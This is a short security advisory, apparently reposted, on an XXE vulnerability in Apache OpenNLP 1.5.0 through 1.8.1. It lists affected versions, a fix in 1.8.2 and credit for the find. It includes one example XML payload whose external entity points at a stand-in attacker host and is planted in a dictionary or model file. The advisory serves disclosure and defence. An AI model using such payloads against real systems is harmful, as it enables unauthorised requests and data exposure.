Apache OpenNLP XXE vulnerability

2017.10.03
Risk: High
Local: No
Remote: Yes
CWE: N/A

Severity: Medium Vendor: The Apache Software Foundation Versions Affected: OpenNLP 1.5.0 to 1.5.3 OpenNLP 1.6.0 OpenNLP 1.7.0 to 1.7.2 OpenNLP 1.8.0 to 1.8.1 Description: When loading models or dictionaries that contain XML it is possible to perform an XXE attack, since OpenNLP is a library, this only affects applications that load models or dictionaries from untrusted sources. Mitigation: All users who load models or XML dictionaries from untrusted sources should update to 1.8.2. Example: An attacker can place this: <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY sp SYSTEM "http://evil.attacker.com/"> ]> <r>&sp;</r> Inside one of the XML files, either a dictionary or embedded inside a model package, to demonstrate this vulnerability. Credit: This issue was discovered by Nishil Shah of Salesforce. Regards, Jörn Kottmann


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